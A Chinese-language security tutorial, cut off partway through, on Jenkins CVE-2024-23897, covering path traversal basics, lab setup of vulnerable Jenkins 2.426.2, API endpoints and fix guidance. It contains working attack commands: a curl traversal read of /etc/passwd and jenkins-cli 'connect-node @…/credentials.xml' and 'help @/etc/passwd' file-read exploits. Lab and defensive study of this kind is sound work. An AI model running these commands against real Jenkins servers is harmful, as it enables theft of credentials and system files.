Jenkins 任意文件读取漏洞(CVE-2024-23897)安全防御指南
目标读者:安全运维与防御人员。本文从防御视角 出发,帮助读者理解 CVE-2024-23897 的原理、影响范围与修复方法,并介绍如何在授权环境下进行无损验证与检测。
本文以 本机 JDK + war 包 方式搭建实验环境(macOS 为主,附 Linux/Windows 说明),仅用于授权环境下的安全学习与防御验证。
⚠️ 合规声明:本文所有操作均须在您拥有合法授权的系统上进行,严禁用于未授权测试。任何未授权使用本文技术的行为,后果自负。本文仅介绍防御与检测方法,不提供任何攻击性利用细节。---
目录
- 前置基础:目录遍历与任意文件读取
- [Jenkins 是什么、基本功能、使用场景](#Jenkins 是什么、基本功能、使用场景)
- [本地搭建 Jenkins 环境(本机 JDK + war 包)](#本地搭建 Jenkins 环境(本机 JDK + war 包))
- [Jenkins 常见 API 接口及用途](#Jenkins 常见 API 接口及用途)
- 模拟一个业务实际场景
- [Jenkins 常见漏洞概览](#Jenkins 常见漏洞概览)
- [CVE-2024-23897 深度原理](#CVE-2024-23897 深度原理)
- 漏洞复现(详细命令)
- [编写 Lua 检测插件(思路 → 代码)](#编写 Lua 检测插件(思路 → 代码))
- 生产环境无损验证
- [WAF 能否拦截 + 规则怎么写](#WAF 能否拦截 + 规则怎么写)
- 修复与加固
- 参考链接
1. 前置基础:目录遍历与任意文件读取
CVE-2024-23897 本质不是经典的 ../ 路径穿越,但危害同类 :都能让攻击者读到不该读的文件。
先花 5 分钟把"目录遍历 / 任意文件读取"这个地基打好。
1.1 原理一句话
- 目录遍历(Directory Traversal / Path Traversal) :程序把用户输入直接拼进文件路径,
用户用../(上一级目录)跳出限定目录,读到任意文件。 - 任意文件读取(Arbitrary File Read) :不一定是
../,只要最终效果是"能读任意文件"就算。
CVE-2024-23897 走的是另一条路------CLI 参数里的@被当作"从文件读参数",从而实现任意文件读取。
1.2 一个 30 秒的本地复现(Python,体会 ../)
新建目录并写一个"有漏洞"的静态文件服务器:
bash
mkdir -p /tmp/traversal_demo/www && cd /tmp/traversal_demo
cat > vuln_server.py <<'PY'
import http.server, socketserver, os
ROOT = os.path.abspath("www") # 期望只服务 www 目录
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
# 【漏洞点】用户路径直接拼接到 ROOT 后,没有做规范化/边界校验
path = ROOT + self.path.split("?")[0]
try:
with open(path, "rb") as f:
data = f.read()
self.send_response(200)
self.end_headers()
self.wfile.write(data)
except Exception:
self.send_response(404)
self.end_headers()
self.wfile.write(b"not found")
def log_message(self, *a):
pass
socketserver.TCPServer(("127.0.0.1", 8000), H).serve_forever()
PY
echo "hello from www" > www/index.html
python3 vuln_server.py & # 后台启动
sleep 1
正常访问:
bash
curl http://127.0.0.1:8000/index.html
# hello from www
攻击(用 --path-as-is 阻止 curl 自动规范化 ../):
bash
curl --path-as-is http://127.0.0.1:8000/../../etc/passwd
# 会看到系统 /etc/passwd 内容 ------ 目录遍历验证成功(仅限授权环境)
关掉服务:
bash
pkill -f vuln_server.py
1.3 修复思路(3 招)
python
import os
ROOT = os.path.realpath("www")
def safe_path(user_path):
p = os.path.realpath(os.path.join(ROOT, user_path.lstrip("/")))
# 关键:解析真实路径后,必须还在 ROOT 之内
if not p.startswith(ROOT + os.sep):
raise ValueError("非法路径")
return p
要点:先 realpath 规范化,再校验前缀边界;或者直接不用"用户拼路径"的方式,改用映射/白名单。
1.4 和 Jenkins CVE-2024-23897 的关系
| 目录遍历 | CVE-2024-23897 | |
|---|---|---|
| 触发字符 | ../ |
@/path(args4j 的 @文件 展开) |
| 位置 | Web 路径参数 | Jenkins CLI 命令参数 |
| 效果 | 读任意文件 | 读任意文件 |
| 修复本质 | 规范化路径 + 边界校验 | 禁用 args4j 的 @ 展开 / 禁用 CLI |
2. Jenkins 是什么、基本功能、使用场景
2.1 一句话
Jenkins 是开源的持续集成/持续交付(CI/CD)自动化服务器,常被称为"打包、测试、上线流水线的调度中心"。
2.2 基本功能
- Job(任务/项目):一个构建单元,如"编译代码"、"跑测试"、"部署"。
- Pipeline(流水线):把多个阶段串起来(拉代码 → 构建 → 测试 → 发布),可用 Jenkinsfile 描述。
- SCM 集成:对接 Git/GitHub/GitLab/SVN,自动拉代码、按提交触发构建。
- 插件体系:上千个插件(Git、Docker、Kubernetes、凭据管理等)。
- 凭据管理(Credentials):集中保存密码、Token、SSH 私钥、证书等秘密,供构建使用。
- 节点/Agent:master(controller)分发任务到多台
- 用户与权限:登录、角色、权限矩阵。
- 远程 API / CLI:脚本化操作 Jenkins(本文漏洞就在 CLI 里)。
2.3 典型使用场景
- 代码提交后自动编译、单测、打包。
- 自动部署到测试/生产服务器。
- 定时任务(每晚构建、报表)。
- 漏洞扫描/安全流水线(SAST、镜像扫描)等。
关键点:Jenkins 往往能拿到代码仓库权限、服务器 SSH 私钥、各种密码,
所以它一旦被打穿,影响通常是"供应链级"的。
3. 本地搭建 Jenkins 实验环境
为验证漏洞原理,我们故意装存在漏洞的版本 :LTS 2.426.2 (仅限授权实验环境)。
修复版是 2.426.3 / 2.440.1 / 2.442(后面对比用)。
3.0 先理解 JVM:java -jar 到底在干嘛
一句话:JVM = Java Virtual Machine(Java 虚拟机),一个能执行 Java 字节码的"软件做的计算机"。你写的 Java 程序不直接跑在操作系统上,而是跑在 JVM 里。
为什么需要它:一次编译,到处运行 。C/C++ 编译后是机器码,Windows 上编的 exe 到 Linux 跑不了;Java 编译产物是字节码(.class),是"中间代码",操作系统看不懂、JVM 看得懂:
text
HelloWorld.java --javac 编译--> HelloWorld.class (字节码)
↓
Windows 的 JVM → 跑起来
Linux 的 JVM → 跑起来
macOS 的 JVM → 跑起来
JVM 在系统中的位置:
text
┌──────────────────────────────┐
│ 你的 Java 程序 (jenkins.war) │ ← 应用层
├──────────────────────────────┤
│ JVM │ ← 虚拟机层(一个 java 进程)
├──────────────────────────────┤
│ 操作系统 (Linux / macOS) │
├──────────────────────────────┤
│ 硬件 │
└──────────────────────────────┘
JVM 主要干四件事:
| 职责 | 说明 |
|---|---|
| 加载 | 类加载器(ClassLoader)把 .class 读进内存 |
| 执行 | 解释执行字节码,热点代码用 JIT 编译成本地机器码提速 |
| 管内存 | 自动分配对象 + 垃圾回收(GC),Java 不用手动 free 的原因 |
| 提供运行时 | 线程、异常处理、反射、安全沙箱等 |
三个易混概念(包含关系 JDK ⊃ JRE ⊃ JVM):
- JVM = 虚拟机本身(一个规范 + 实现,如 HotSpot)。
- JRE = JVM + 核心类库(只想"运行"Java 就装它)。
- JDK = JRE + 编译器
javac+ 调试工具(要"开发"Java 就装它,§3.1 装的就是 JDK)。
和本文串起来:
| 你之前看到的 | 和 JVM 的关系 |
|---|---|
java -jar jenkins.war --httpPort=8080 |
java 就是启动一个 JVM,把 jenkins.war 交给它跑 |
lsof -i:8080 / ps aux 里的 java 进程 |
那就是一个 JVM 进程,Jenkins 只是跑在里面的程序 |
jenkins.log 只增不减 |
是这个 JVM 进程的 stdout/stderr 被重定向到文件 |
--httpsKeyStore=... |
读证书用的是 JVM 的 KeyStore 机制 |
常见 JVM 参数(运维 Jenkins 会用到):
bash
java -Xms512m -Xmx2g -jar jenkins.war # 堆内存初始 512M、最大 2G
java -XX:+UseG1GC -jar jenkins.war # 指定垃圾回收器
java -Djava.awt.headless=true -jar ... # 设置系统属性
Jenkins 卡死、OOM,八成是 JVM 堆不够,日志里会出现
java.lang.OutOfMemoryError: Java heap space。
一句话记住 :JVM 是一层"软件做的计算机",Java 程序跑在它上面,从而不用关心底下是 Windows 还是 Linux。你 java -jar jenkins.war 启动的那个进程,就是一个 JVM。
3.1 安装 JDK(Jenkins 2.426.2 推荐 JDK 11 或 17,用 17 最稳)
macOS:
bash
brew install openjdk@17
# Apple Silicon(M 系列):
export PATH="/opt/homebrew/opt/openjdk@17/bin:$PATH"
# Intel Mac:
# export PATH="/usr/local/opt/openjdk@17/bin:$PATH"
java -version # 应显示 17.x
Linux(Debian/Ubuntu):
bash
sudo apt update && sudo apt install -y openjdk-17-jdk
java -version
Windows:去 Adoptium 下载 Temurin 17 MSI 安装,确保 java -version 可用。
3.2 下载存在漏洞的 war 包
bash
mkdir -p ~/jenkins-lab && cd ~/jenkins-lab
curl -L -o jenkins.war https://get.jenkins.io/war-stable/2.426.2/jenkins.war
ls -lh jenkins.war # 大约 90MB 左右
想对比"修复版":
https://get.jenkins.io/war-stable/2.426.3/jenkins.war
3.3 启动 Jenkins
bash
cd ~/jenkins-lab
java -jar jenkins.war --httpPort=8080
启动过程控制台会打印:Jenkins initial setup is required... 和初始密码位置。
- Jenkins 数据目录
JENKINS_HOME默认在~/.jenkins。 - 端口默认 8080(可改
--httpPort=9090等)。 - 想后台运行:
nohup java -jar jenkins.war --httpPort=8080 > jenkins.log 2>&1 &
后台命令逐段拆解(小白必会):
| 片段 | 含义 |
|---|---|
java -jar jenkins.war |
用 Java 运行这个 war 包 |
--httpPort=8080 |
指定网页端口 8080 |
> jenkins.log |
把"标准输出"写进 jenkins.log |
2>&1 |
把"错误输出"也合并进同一个文件(必须写在 > 之后) |
& |
放到后台,立刻还你命令行 |
nohup |
关终端也不杀进程(no hang up) |
只有
&关终端会被杀;只有nohup会占着终端。两者搭配才是"服务常驻"的标准写法。
配套排查命令:
bash
tail -f jenkins.log # 实时看启动日志
ps aux | grep jenkins.war | grep -v grep # 进程还活着吗
cat ~/.jenkins/secrets/initialAdminPassword # 初始密码
kill 12345 # 停止(换成真实 PID)
注意:jenkins.log 只增不减,长期跑会变大(GB 级),生产用 logrotate 轮转或改 systemd/Docker 管理。
3.4 初始化解锁(浏览器操作)
- 浏览器打开
http://127.0.0.1:8080。 - 命令行取初始密码:
bash
cat ~/.jenkins/secrets/initialAdminPassword
- 粘贴后进入插件安装页,选 安装推荐的插件(Install suggested plugins)(慢就选跳过,后续可装)。
- 创建第一个管理员账号,例如:用户名
admin,密码自己设。 - 进入首页,左下角应显示版本号:
Jenkins 2.426.2。
3.5 确认版本与 CLI 可用
bash
# 版本头(指纹识别会用到)
curl -s -I http://127.0.0.1:8080/ | grep -i x-jenkins
# X-Jenkins: 2.426.2
这条命令逐段拆解 :curl -s -I(静默、只看响应头)| grep -i x-jenkins(忽略大小写搜 X-Jenkins 头)。Jenkins 会在响应头"自报家门",例如 X-Jenkins: 2.426.2------不用登录就能确认版本,这正是漏洞指纹识别的基础。
三种结果与排查:
| 结果 | 含义 | 怎么办 |
|---|---|---|
打印 X-Jenkins: 2.426.x |
已就绪 ✅ | 直接进入下一步 |
| 空白 | 还在启动 / 端口被占 / 进程没起来 | 等几十秒再试(首次启动要解压生成密钥,可能 30s~几分钟) |
curl: (7) Failed to connect |
完全连不上 | 按顺序查进程→日志→状态码 |
bash
ps aux | grep jenkins.war | grep -v grep # 1. 进程在吗
tail -f jenkins.log # 2. 启动到哪了(就绪会打印 "Jenkins is fully up and running")
curl -s -I http://127.0.0.1:8080/ | head -1 # 3. 看状态码: 503 = 正在启动,等一会
# 只取版本号(适合写进脚本):
curl -s -I http://127.0.0.1:8080/ | grep -i "^X-Jenkins:" | cut -d' ' -f2
小坑:
curl -I是大写 I(只要响应头),grep -i是小写 i(忽略大小写),别混。
3.6 只绑定本机(重要安全习惯)
Jenkins 的 --httpListenAddress 默认是 0.0.0.0------监听所有网卡,等于"本机 + 局域网 + 公网(如果防火墙放行)都能连"。
bash
# 只监听本机回环
nohup java -jar jenkins.war --httpPort=8080 --httpListenAddress=127.0.0.1 > jenkins.log 2>&1 &
验证是否真的绑住了:
bash
lsof -i:8080 -sTCP:LISTEN # 看 LISTEN 那行地址
# 127.0.0.1:8080 → ✅ 已锁本地
# *:8080 或 0.0.0.0:8080 → ❌ 仍对外
坑 :Jenkins 会静默忽略 它不认识的命令行参数(拼错不报错)。比如把
--httpListenAddress拼成--httpListenAddr,服务照常起、看起来正常,但实际还是监听 0.0.0.0。所以改完必须验证。
绑定本机后,远程访问的三种正规做法:
bash
# ① SSH 隧道(临时/个人最稳)
ssh -L 8080:127.0.0.1:8080 user@服务器IP # 本地浏览器开 http://127.0.0.1:8080
# ② Nginx 反代(生产标准): 外部 → Nginx(443,HTTPS+认证) → 127.0.0.1:8080
# ③ 只留 HTTPS / 关多余端口
java -jar jenkins.war --httpPort=-1 --ajp13Port=-1 \
--httpsPort=8443 --httpsListenAddress=127.0.0.1 \
--httpsKeyStore=/path/keystore --httpsKeyStorePassword=xxx
--httpPort=-1关 HTTP、--ajp13Port=-1关 AJP(默认 8009,也常被忽略的暴露面)。HTTPS 密码别写命令行(会进 history),用 Jenkins 的--paramsFromStdIn规避:echo '--httpsKeyStorePassword=xxx' | java -jar jenkins.war --paramsFromStdIn。
4. Jenkins 常见 API 接口及用途
4.1 REST API(HTTP,返回 JSON/XML)
通用技巧:几乎任何页面 URL 后面加 /api/json 就能拿结构化数据。UI 只是给同一套 API 套了层皮肤------网页和 API 共用同一套权限模型、同一份数据、同一个 JVM。
三个必会查询参数:
| 参数 | 作用 | 示例 |
|---|---|---|
?depth=N |
控制展开层级(默认 0,只给浅层字段) | ?depth=2 |
?tree=... |
只取需要的字段,大幅瘦身 | ?tree=jobs[name,color] |
?pretty=true |
格式化,肉眼可读 | 调试必备 |
bash
# 只要任务名和状态(tree 是写脚本最核心的技能)
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name,color]'
# 任务名 + 最近构建结果和时间戳
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name,lastBuild[result,timestamp]]'
# 节点名和在线状态
curl -s 'http://127.0.0.1:8080/computer/api/json?tree=computer[displayName,offline]'
| 接口 | 方法 | 用途 |
|---|---|---|
GET /api/json |
GET | Jenkins 概况:任务列表、视图、节点数、当前用户权限 |
GET /job/<name>/api/json |
GET | 某个 Job 的详情 |
GET /job/<name>/config.xml |
GET | Job 的完整配置(含构建步骤、SCM、有时含凭据引用) |
POST /job/<name>/build |
POST | 触发一次构建(需权限;开 CSRF 时还要 crumb) |
GET /job/<name>/lastBuild/api/json |
GET | 最近一次构建结果 |
GET /computer/api/json |
GET | 节点/agent 列表、在线状态 |
GET /queue/api/json |
GET | 构建队列 |
GET /crumbIssuer/api/json |
GET | 取 CSRF crumb(POST 需要) |
POST /script 或 /scriptText |
POST | Groovy 脚本控制台(高危,需 Overall/Administer) |
GET /whoAmI/api/json |
GET | 当前登录身份 |
GET /jnlpJars/jenkins-cli.jar |
GET | 下载 CLI 工具 jar(攻击者也会下这个) |
POST /cli(HTTP/WebSocket) |
POST | CLI 入口(CVE-2024-23897 走的通道) |
curl 示例(无鉴权先看公开信息):
bash
curl -s http://127.0.0.1:8080/api/json | python3 -m json.tool | head -40
curl -s http://127.0.0.1:8080/job/你的任务名/config.xml
4.2 CLI 命令(jenkins-cli.jar)
bash
# 下载 CLI 工具(从目标实例自己下,版本一定匹配)
curl -O http://127.0.0.1:8080/jnlpJars/jenkins-cli.jar
# 常用命令
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket help # 列出所有命令
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket who-am-i # 我是谁
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket list-jobs # 列出任务
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket version # 版本
CLI 有 3 种传输:默认 remoting(TCP 50000)、
-http、-webSocket(走 8080)。复现漏洞时优先用
-webSocket(只要 8080 通就能打),不行再试-http或默认。为什么现在必须
-webSocket:Jenkins 历史上有 SSH 传输(需单独开随机 SSH 端口,防火墙常挡)、HTTP 长轮询(前面挂 Nginx 会缓冲/超时断连)。较新版本(约 2.385 起)默认禁用了老的 SSH CLI 端口,
所以新版必须加
-webSocket,否则报Connection refused或卡住超时。记忆:
-s告诉 CLI"去哪找 Jenkins",-webSocket告诉 CLI"用什么方式连过去"。权限注意:
help、version是公开命令,不登录也能跑(适合先验证连通性);
who-am-i、list-jobs需要认证,直接跑会提示认证失败。
4.3 按"杀伤链"给接口分层(更好记)
| 层次 | 接口 | 能拿到什么 |
|---|---|---|
| ① 侦察 | /api/json、/whoAmI/api/json、/computer/api/json、/queue/api/json |
任务清单、useSecurity 是否开安全、当前权限 authorities、agent 列表 |
| ② 配置泄露 | /job/<name>/config.xml、/job/<name>/lastBuild/api/json |
构建步骤、shell 命令、Git 地址、凭据 ID、硬编码密码(坏习惯很常见) |
| ③ 改变状态 | POST /job/<name>/build、GET /crumbIssuer/api/json |
触发构建、拿 CSRF crumb |
| ④ 终局 | POST /script、POST /scriptText、POST /cli |
Groovy RCE、CVE-2024-23897 任意文件读 |
关键区分:
config.xml里的凭据通常只是 ID (如aws-prod-key),真正密文在credentials.xml且依赖
master.key解密------所以"拿到 ID ≠ 拿到密码"。但很多团队把密码硬编码在 shell 步骤里,那种就是纯明文。
4.4 深挖 /script、/scriptText:Jenkins 上最值钱的端点
网页版 Groovy Shell,直接在 Jenkins 主进程 JVM 里执行代码。官方文档承认它能:创建子进程执行任意命令、
读进程有权访问的文件(如 /etc/passwd)、解密所有凭据、修改任何配置、关掉安全设置、绕过审计。
为什么它能解密凭据 :凭据加密的密钥就存在同一台机器上($JENKINS_HOME/secrets/master.key),
脚本控制台跑在 Jenkins 自己的 JVM 里,能直接调用 Jenkins 自己的解密函数------加密防的是"偷文件的人",防不了"在 JVM 里执行代码的人"。
-
权限要求:
Overall/Administer(旧版Overall/RunScripts)。 -
它本身不是漏洞,是权限极高的管理功能;真正的问题是**初始化向导被跳过 / 授权配错(Anyone can do anything)**导致匿名就有这权限。
-
防护:权限只给极少数管理员;绝不用 root 跑;Nginx 层直接封路径:
nginxlocation = /script { deny all; return 403; } location = /scriptText { deny all; return 403; }
4.5 CSRF Crumb 机制(写 POST 脚本必背)
CSRF 是什么威胁 :你登录了 Jenkins,浏览器里存着 Cookie。这时你访问了一个恶意网页,它偷偷往 你的Jenkins/job/xx/build 发一个 POST------浏览器会自动带上你的 Cookie,Jenkins 分不清这是"你点的"还是"攻击者发的",于是任务就被人替你触发了。这就是 CSRF(跨站请求伪造)。
crumb 就是对策:Jenkins 生成一个随机令牌(crumb),任何会改变状态的操作(触发构建、改配置)都必须带上它。攻击者拿不到你页面里的 crumb,伪造的请求就被拒了。
关键点 :crumb 里编码了「用户名 + Web 会话 ID + 实例盐值」,三者都要对得上才有效。所以脚本的标准两步是:
- 先
GET /crumbIssuer/api/json拿 crumb(同时记下Set-Cookie里的会话 ID); - 后续请求同时带上 crumb + 那个会话 Cookie。
bash
# 1. 拿 crumb,同时保存会话 Cookie(两者必须配对)
CRUMB=$(curl -s -c /tmp/cookies.txt -u user:token \
'http://127.0.0.1:8080/crumbIssuer/api/json' | jq -r '.crumb')
# 2. 带 crumb + 同一个 cookie 发 POST
curl -s -b /tmp/cookies.txt -u user:token \
-H "Jenkins-Crumb: $CRUMB" \
-X POST 'http://127.0.0.1:8080/job/my-job/build'
两个易错点:① crumb 和 cookie 必须配对(只带 crumb 不带 cookie,或 cookie 不一致,都会被拒);② header 名是 Jenkins-Crumb(拼错不报错,直接 403)。
反直觉的一点 :即使 Jenkins 完全关闭安全(
security realm = None),crumb 依然启用------"没开认证"≠"没防护",crumb 是独立的一层。这也解释了为什么某些自动化脚本在"完全不设防"的 Jenkins 上仍然会 403 卡住。
4.6 权限模型:看懂接口背后的门槛
| 权限 | 含义 | 典型接口 |
|---|---|---|
Overall/Read |
最基础的读权限,几乎所有 API 门槛 | 大部分 GET、/api/json |
Overall/Administer |
管理员,等于完全控制 | /script、/manage |
Overall/RunScripts |
旧版脚本权限(等价 Administer) | /script |
Job/Read / Job/Build / Job/Configure |
看/触发/改某个 Job | 对应 /job/<name>/... |
Credentials/* |
查看/管理凭据 | /credentials/... |
Overall/Read是绝大多数安全事故的"门票" :很多实例给匿名配了它,于是/api/json、
/job/*/config.xml、以及 CVE-2024-23897 的完整文件读全部解锁。
4.7 <name> 占位符与自查脚本
<name> = 任务的真实名(不是显示名、不是构建号、不是节点名)。真实名以地址栏 URL 为准;Job 名建议只用小写字母/数字/连字符,避免 URL 编码麻烦。
bash
# 列出所有任务名/完整 URL(推荐,不用自己拼)
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name]' | jq -r '.jobs[].name'
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[url]' | jq -r '.jobs[].url'
文件夹嵌套时每层都要写 /job/:
text
任务 team-a/deploy 的真实 URL = /job/team-a/job/deploy/config.xml
三级同理: /job/team-a/job/sub/job/deploy/config.xml
用 fullName 拿完整路径: curl -s '.../api/json?tree=jobs[fullName]&depth=3'
一套打自己机器的自查脚本(授权环境用):
bash
JENKINS="http://127.0.0.1:8080"
curl -s "$JENKINS/api/json" | grep -o '"useSecurity":[a-z]*' # 1. 是否开安全
curl -s "$JENKINS/whoAmI/api/json?pretty=true" # 2. 我是谁/什么权限
curl -s "$JENKINS/api/json?tree=jobs[name,color]&pretty=true" # 3. 有哪些 Job
curl -s "$JENKINS/computer/api/json?tree=computer[displayName,offline]&pretty=true" # 4. 节点
curl -sI "$JENKINS/" | grep -i x-jenkins # 5. 版本(判断是否在漏洞范围)
curl -s -o /dev/null -w "%{http_code}\n" "$JENKINS/script" # 6. 脚本控制台是否对匿名开放(应 403)
第 1 条返回
useSecurity:false、第 2 条返回authorities:["anonymous"]、第 6 条返回 200------这台 Jenkins 等于裸奔,立即处置。
5. 模拟一个业务实际场景(可照做)
假设你所在公司用 Jenkins 做电商网站 shop-web 的 CI/CD:
GitHub 代码仓库 ──push──> Jenkins ──> 编译/测试 ──> 打包镜像 ──> SSH 部署到生产服务器
│
├─ 保存:GitHub Token(拉代码)
├─ 保存:Docker Registry 账号密码(推镜像)
├─ 保存:生产服务器 SSH 私钥(部署)
└─ 保存:数据库密码(构建时注入配置)
攻击者视角:Jenkins 暴露在公网,利用 CVE-2024-23897 读走这些秘密 → 横向到代码仓库/生产服务器。
下面这套搭建目的有两个:① 让你熟悉 Jenkins 的 Job / 凭据 / 构建 / API;② 造出真实的
credentials.xml、config.xml、构建记录,供 §8 复现时读取验证危害。所有密码/Token 都是假的,仅用于学习。
5.1 准备:生成一把"部署私钥"(用于 SSH 凭据)
bash
mkdir -p ~/jenkins-lab
ssh-keygen -t rsa -b 2048 -f ~/jenkins-lab/jenkins_deploy_key -N "" -C "jenkins-demo-deploy"
cat ~/jenkins-lab/jenkins_deploy_key # 稍后把这段内容粘进 SSH 凭据
这是模拟私钥,别用在任何真实服务器上。
5.2 创建 4 个凭据(Credentials)
UI 路径:首页 → Manage Jenkins → Credentials → System → Global credentials (unrestricted) → Add Credentials。
逐个创建(每次填完点 Create;ID 一定要照抄,后面 Job 要靠它引用):
| ID(照抄) | Kind 类型 | 用途 | 填写内容 |
|---|---|---|---|
github-token |
Secret text | 拉代码 | Secret = ghp_fake0123456789ABCDEFGHIJKLMN |
docker-registry |
Username with password | 推镜像 | Username = shopdeploy,Password = Docker!Passw0rd |
deploy-ssh-key |
SSH Username with private key | 部署 | Username = deploy;Private Key 选 Enter directly,粘入 5.1 生成的私钥全文 |
db-password |
Secret text | 数据库密码 | Secret = Sup3rS3cret_DB_P@ss |
创建完,页面里应看到 4 个凭据。它们会被写入 ~/.jenkins/credentials.xml(§8 会读它)。
5.3 创建 Freestyle 任务 shop-web-build
UI 路径:首页 → New Item → 名字填 shop-web-build → 选 Freestyle project → OK。
- 滚动到 Build Environment 勾选 Use secret text(s) or file(s) → Add → Secret text → 选
db-password,Variable 填DB_PASS。 - Build Steps → Add build step → Execute shell,命令框填:
bash
echo "===== shop-web build start ====="
echo "building shop-web ..."
echo "injected DB_PASS = $DB_PASS"
- 点 Save 。此时配置已写入
~/.jenkins/jobs/shop-web-build/config.xml。
5.4 创建 Pipeline 任务 shop-web-deploy
UI 路径:首页 → New Item → 名字填 shop-web-deploy → 选 Pipeline → OK。
滚动到 Pipeline 段,Definition 选 Pipeline script,把下面整段 Jenkinsfile 粘进 Script 框,点 Save:
groovy
pipeline {
agent any
environment {
// secret text 凭据可直接映射成环境变量
DB_PASS = credentials('db-password')
GITHUB_TOKEN = credentials('github-token')
}
stages {
stage('Checkout') {
steps {
echo '模拟从 GitHub 拉取 shop-web 代码...'
// 真实场景: git branch: 'main', url: 'https://github.com/yourorg/shop-web.git'
}
}
stage('Build') {
steps {
sh "echo '【模拟】mvn clean package -DskipTests'"
}
}
stage('Test') {
steps {
sh "echo '【模拟】run unit tests'"
}
}
stage('Docker Build & Push') {
steps {
withCredentials([usernamePassword(credentialsId: 'docker-registry',
usernameVariable: 'DOCKER_USER', passwordVariable: 'DOCKER_PASS')]) {
echo "模拟登录镜像仓库,用户: ${DOCKER_USER}"
sh "echo '【模拟】docker login -u ${DOCKER_USER} -p ****** registry.example.com'"
}
}
}
stage('Deploy via SSH') {
steps {
withCredentials([sshUserPrivateKey(credentialsId: 'deploy-ssh-key',
keyFileVariable: 'SSH_KEY', usernameVariable: 'SSH_USER')]) {
echo "模拟部署,SSH 用户: ${SSH_USER},私钥临时文件: ${SSH_KEY}"
sh "echo '【模拟】scp -i ${SSH_KEY} shop-web.jar ${SSH_USER}@prod:/opt/shop-web/'"
}
}
}
}
post {
success { echo '✅ 流水线成功' }
failure { echo '❌ 流水线失败' }
}
}
这个 Jenkinsfile 把三种凭据用法都演示了一遍:
credentials()(secret text)、
withCredentials + usernamePassword、withCredentials + sshUserPrivateKey------正是真实 CI/CD 里最常用的写法。
5.5 触发一次构建(UI / CLI / REST 三种方式)
UI:进入任务 → 点 Build Now(侧边栏)。
CLI(需鉴权):
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth @$HOME/.jenkins-cli build shop-web-build -s
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth @$HOME/.jenkins-cli build shop-web-deploy -s
REST(带 CSRF crumb,衔接 §4.5):
bash
CRUMB=$(curl -s -c /tmp/cookies.txt -u admin:你的TOKEN \
'http://127.0.0.1:8080/crumbIssuer/api/json' | jq -r '.crumb')
curl -s -b /tmp/cookies.txt -u admin:你的TOKEN -H "Jenkins-Crumb: $CRUMB" \
-X POST 'http://127.0.0.1:8080/job/shop-web-build/build'
构建完成后,进任务 → Console Output ,应能看到 shell 回显(含 injected DB_PASS = ...,验证凭据绑定生效)。
5.6 用 CLI / REST 验证(衔接 §4 学习)
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket list-jobs
# 应看到: shop-web-build / shop-web-deploy
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket get-job shop-web-build
# 打印 config.xml
curl -s 'http://127.0.0.1:8080/job/shop-web-build/config.xml' | grep -E 'command|credentialsId|DB_PASS'
curl -s 'http://127.0.0.1:8080/api/json?tree=jobs[name,color]&pretty=true'
5.7 进阶:用 CLI 直接创建任务(等价 UI 的 create-job)
bash
cat > /tmp/shop-web-build.xml <<'XML'
<project>
<description>Build shop-web (demo)</description>
<keepDependencies>false</keepDependencies>
<properties/>
<scm class="hudson.scm.NullSCM"/>
<canRoam>true</canRoam>
<disabled>false</disabled>
<blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
<blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
<triggers/>
<concurrentBuild>false</concurrentBuild>
<builders>
<hudson.tasks.Shell>
<command>echo "===== shop-web build start ====="
echo "building shop-web ..."</command>
<configuredLocalRules/>
</hudson.tasks.Shell>
</builders>
<publishers/>
<buildWrappers/>
</project>
XML
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth @$HOME/.jenkins-cli create-job shop-web-build < /tmp/shop-web-build.xml
说明:凭据的"绑定到环境变量"(BuildWrapper)也能写进 XML,但类名随插件版本变化,易错;
学习阶段建议凭据绑定走 UI、Job 走
create-job/get-job。
5.8 现在可以做的漏洞验证(衔接 §8)
场景搭好后,~/.jenkins/credentials.xml(4 个凭据的密文)、
~/.jenkins/jobs/shop-web-build/config.xml(shell 步骤 + 凭据引用)都已就位。到 §8 用:
bash
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth @$HOME/.jenkins-cli connect-node '@/Users/你的用户名/.jenkins/credentials.xml'
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ -webSocket \
-auth @$HOME/.jenkins-cli connect-node '@/Users/你的用户名/.jenkins/jobs/shop-web-build/config.xml'
就能直观看到"任意文件读取"到底读到了什么,以及这些秘密为什么值钱。
6. Jenkins 常见漏洞概览
| 漏洞 | 类型 | 一句话危害 |
|---|---|---|
| CVE-2024-23897 | CLI 任意文件读取 | 未授权可读前几行,授权可读整文件 → 偷凭据 → 可能 RCE |
| CVE-2018-1000861 | remoting 反序列化 RCE | 未授权可远程执行命令 |
| CVE-2015-8103 | Java 反序列化 RCE | remoting 协议反序列化 → RCE |
| CVE-2019-1003000 / 1003005 | Script Security 沙箱绕过 | 低权限触发 Groovy RCE |
| 配置不当 | Groovy 脚本控制台滥用 | POST /script 直接执行系统命令 |
| 凭据存储 | 弱加密/密钥泄露 | secrets/master.key + hudson.util.Secret 可解出密码 |
| CSRF/SSRF | 请求伪造 | 插件类常见,结合其他漏洞放大危害 |
本文聚焦 CVE-2024-23897。
7. CVE-2024-23897 深度原理
7.1 根因:args4j 的 @ 文件展开
- Jenkins CLI 用 args4j 库解析命令行参数。
- args4j 有个功能
expandAtFiles:参数里出现@/path/to/file,会被替换成这个文件的内容。 - Jenkins 2.441 及更早、LTS 2.426.2 及更早没有关闭这个功能。
当攻击者发 CLI 命令时,@/etc/passwd 这类参数被送到服务端,服务端 args4j 解析时:
help '@/etc/passwd'
│
▼ (args4j 展开)
help "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
..."
│
